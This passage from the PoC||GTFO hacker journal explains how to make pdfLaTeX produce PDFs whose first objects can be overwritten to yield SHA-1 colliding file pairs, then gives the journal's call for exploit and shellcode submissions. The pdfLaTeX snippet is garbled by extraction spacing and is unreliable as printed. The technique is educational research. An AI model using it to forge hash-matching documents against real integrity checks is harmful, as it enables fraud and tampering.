The PDF is otherwise entirely normal. It’s just
a PDF with its first eight objects used, and with a
image of fixed dimensions and colorspace, with two
different contents in each of the colliding files.

The image can be displayed one or many times,
with optional clipping, and the raw data of the im-
age can be also used as page content under specific
readers (non browsers) if stored losslessly repeating
lines of code eight times.

The rest of the file is totally standard. It could
be actually a standard academic paper like this one.

We just need to tell PDFLATEX that object 1 is
an image, that the next seven objects are taken, and

do some postprocessing magic: since we can’t actu-
ally build the whole PDF file with the perfect preci-
sion for hash collisions, we’ll just use placeholders for
each of the objects. We also need to tell PDFLATEX
to disable decompression in this group of objects.

Here’s how to do it in PDFLATEX. You may have
to put that even before the documentclass decla-
ration to make sure the first PDF objects are not
reserved yet.

\begingroup
2

\ pd f compre s s l eve l=0\ r e l ax
4

\ immediate\pdfximage width 40pt {<foo . jpg>}
6

\ immediate\ pdfobj {65535} %/Width
8 \ immediate\ pdfobj {65535} %/Height

\ immediate\ pdfobj {/XObject} %/Type
10 \ immediate\ pdfobj {/ Image} %/SubType

\ immediate\ pdfobj {/DCTDecode} %/F i l t e r s
12 \ immediate\ pdfobj {/DeviceGray} %/ColorSpace

\ immediate\ pdfobj {123456789} %/Length
14

\endgroup

Then we just need to get the reference to the
last PDF image object, and we can now display our
image wherever we want

1 \ ede f \ sha t t e r ed {
\ pdfre fx image \ the \ pdf la s tx image }

We then just need to actually overwrite the first
eight objects of a colliding PDF, and everything falls
into place.62 You can optionally adjust the XREF
table for a perfectly standard, SHA-1 colliding, and
automatically generated PDF pair

61unzip pocorgtfo14.pdf shattered.pdf
62See https://alf.nu/SHA1 or unzip pocorgtfo18.pdf sha1collider.zip.
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18:11 Bring out your dead! Bugs, that is.
from the desk of Pastor Manul Laphroaig,

Tract Association of PoC‖GTFO.

Dearest neighbor,
Our scruffy little gang started this самиздат

journal a few years back because we didn’t much like
the academic ones, but also because we wanted to
learn new tricks for reverse engineering. We wanted
to publish the methods that make exploits and poly-
glots possible, so that folks could learn from each
other. Over the years, we’ve been blessed with the
privilege of editing these tricks, of seeing them early,
and of seeing them through to print. Now it’s your turn to share what you know, that

nifty little truth that other folks might not yet know.
It could be simple, or a bit advanced. Whatever
your nifty tricks, if they are clever, we would like to
publish them.

Do this: write an email in 7-bit ASCII telling
our editors how to reproduce ONE clever, techni-
cal trick from your research. If you are uncertain of
your English, we’ll happily translate from French,
Russian, Southern Appalachian, and German.

Like an email, keep it short. Like an email, you
should assume that we already know more than a
bit about hacking, and that we’ll be insulted or—
WORSE!—that we’ll be bored if you include a long
tutorial where a quick explanation would do.

Teach me how to falsify a freshman physics ex-
periment by abusing floating-point edge cases. Show
me how to enumerate the behavior of all illegal in-
structions in a particular implementation of 6502,
or how to quickly blacklist any byte from amd64
shellcode. Explain to me how shellcode in Wine or
ReactOS might be simpler than in real Windows.

Don’t tell us that it’s possible; rather, teach us
how to do it ourselves with the absolute minimum
of formality and bullshit.

Like an email, we expect informal language and
hand-sketched diagrams. Write it in a single sit-
ting, and leave any editing for your poor preacher-
man to do over a bottle of fine scotch. Send this
to pastor@phrack org and hope that the neighborly
Phrack folks—praise be to them!—aren’t man-in-the-
middling our submission process.

Yours in PoC and Pwnage,
Pastor Manul Laphroaig, T G S B

64


